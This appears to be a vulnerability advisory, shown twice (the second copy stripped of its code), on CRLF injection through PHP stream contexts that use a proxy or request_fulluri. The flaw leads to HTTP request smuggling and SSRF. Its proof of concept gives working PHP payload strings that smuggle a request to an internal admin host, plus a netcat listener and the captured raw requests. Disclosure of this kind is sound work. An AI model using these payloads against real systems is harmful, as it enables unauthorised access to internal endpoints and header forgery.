Summary
Configuring a proxy in a stream context might allow for CRLF injection in URIs, resulting in HTTP request smuggling attacks.
Details
When creating a stream using one of the available stream creation functions (e.g., fopen, file, file_get_contents...), developers can specify a custom stream context containing a set of parameters to use during the connection. One such parameter, in the case of HTTP and FTP streams, is proxy. The HTTP context options also include a request_fulluri boolean, which is required by some proxies to correctly forward the request.
While a normal request to http://example.com/path/to/file?query would results in the following HTTP request:
GET /path/to/file?query HTTP/1.1
when setting request_fulluri to true we obtain:
GET http://example.com/path/to/file?query HTTP/1.1
The vulnerability lies in the implementation of request_fulluri, which just inserts the raw URI into the HTTP request line. In particular, this bypasses the normal control characters sanitization usually performed when parsing the URL.
This means that, if the resource URI is under the partial control of an attacker, when the request_fulluri context parameter is true, a malicious actor could inject CRLF characters to perform a HTTP request smuggling attack.
Furthermore, if a non-HTTP stream sets a proxy parameter in the context (right now only the FTP context supports this), the request_fulluri parameter gets automatically silently enabled without the developer ever knowing.
Notice that, in the case of HTTP streams, setting a proxy is not strictly necessary, as the real issue is the request_fulluri parameter.
PoC
We can test the raw query performed by PHP by simply using netcat in listening mode (nc -lvnp 1337).
When no proxy is configured, the malicious input is correctly sanitized (still producing an error due to the presence of unencoded spaces):
$userinput = " HTTP/1.1\r\nHost: localhost:1337\r\n\r\nGET /admin HTTP/1.1\r\nHost: adminpanel\r\n\r\nGET /";
file_get_contents("http://localhost:1337/$userinput");
GET / HTTP/1.1__Host: localhost:1337____GET /admin HTTP/1.1__Host: adminpanel____GET / HTTP/1.1
Host: localhost:1337
Connection: close
When using a proxy and setting request_fulluri to true, we get request smuggling:
$opts = ['http' => ['proxy' => 'tcp://localhost:1337', 'request_fulluri' => true]];
$context = stream_context_create($opts);
$userinput = " HTTP/1.1\r\nHost: localhost:1337\r\n\r\nGET /admin HTTP/1.1\r\nHost: adminpanel\r\n\r\nGET /";
file_get_contents("http://localhost:1337/$userinput", false, $context);
GET http://localhost:1337/ HTTP/1.1
Host: localhost:1337
GET /admin HTTP/1.1
Host: adminpanel
GET / HTTP/1.1
Host: localhost:1337
Connection: close
This also happens with HTTP proxies on FTP, without the request_fulluri parameter:
$opts = ['ftp' => ['proxy' => 'tcp://localhost:1337']];
$context = stream_context_create($opts);
$userinput = " HTTP/1.1\r\nHost: localhost:1337\r\n\r\nGET /admin HTTP/1.1\r\nHost: adminpanel\r\n\r\nGET /";
file_get_contents("ftp://localhost:1337/$userinput", false, $context);
GET ftp://localhost:1337/ HTTP/1.1
Host: localhost:1337
GET /admin HTTP/1.1
Host: adminpanel
GET / HTTP/1.1
Host: localhost:1337
Connection: close
Impact
CLRF injection in the URI leads to Server Side Request Forgery attacks (SSRF), which allows an attacker to bypass security controls, access internal endpoints, and, since we control the Host: header, potentially access different hosts or machines.
Crafted requests can use any HTTP method and set any header to any value, including sensitive headers like Authorization, Cookie, Origin, or Referer.
Moreover, in some setups, the attacker might be able to read the HTTP response of each of the smuggled request.
Summary
Configuring a proxy in a stream context might allow for CRLF injection in URIs, resulting in HTTP request smuggling attacks.
Details
When creating a stream using one of the available stream creation functions (e.g.,
fopen,file,file_get_contents...), developers can specify a custom stream context containing a set of parameters to use during the connection. One such parameter, in the case of HTTP and FTP streams, isproxy. The HTTP context options also include arequest_fulluriboolean, which is required by some proxies to correctly forward the request.While a normal request to
http://example.com/path/to/file?querywould results in the following HTTP request:when setting
request_fulluritotruewe obtain:The vulnerability lies in the implementation of
request_fulluri, which just inserts the raw URI into the HTTP request line. In particular, this bypasses the normal control characters sanitization usually performed when parsing the URL.This means that, if the resource URI is under the partial control of an attacker, when the
request_fulluricontext parameter is true, a malicious actor could inject CRLF characters to perform a HTTP request smuggling attack.Furthermore, if a non-HTTP stream sets a
proxyparameter in the context (right now only the FTP context supports this), therequest_fulluriparameter gets automatically silently enabled without the developer ever knowing.Notice that, in the case of HTTP streams, setting a proxy is not strictly necessary, as the real issue is the
request_fulluriparameter.PoC
We can test the raw query performed by PHP by simply using netcat in listening mode (
nc -lvnp 1337).When no proxy is configured, the malicious input is correctly sanitized (still producing an error due to the presence of unencoded spaces):
When using a proxy and setting
request_fulluritotrue, we get request smuggling:This also happens with HTTP proxies on FTP, without the
request_fulluriparameter:Impact
CLRF injection in the URI leads to Server Side Request Forgery attacks (SSRF), which allows an attacker to bypass security controls, access internal endpoints, and, since we control the
Host:header, potentially access different hosts or machines.Crafted requests can use any HTTP method and set any header to any value, including sensitive headers like
Authorization,Cookie,Origin, orReferer.Moreover, in some setups, the attacker might be able to read the HTTP response of each of the smuggled request.